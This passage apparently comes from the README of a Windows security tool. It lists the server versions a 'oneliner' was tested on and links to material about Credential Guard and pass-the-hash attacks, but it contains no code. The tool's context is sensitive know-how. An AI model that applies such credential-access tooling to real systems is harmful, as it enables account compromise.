it can demonstrate what can be accomplished. ## Operating System supported Currently, I tested the oneliner against: * Windows 2012R2 - 64-bit * Windows 2016 - 64-bit ## Credential Guard Look here for more information about [Credential Guard](https://social.technet.microsoft.com/wiki/contents/articles/38015.credential-guard-say-good-bye-to-ptht-pass-the-hashticket-attacks.aspx)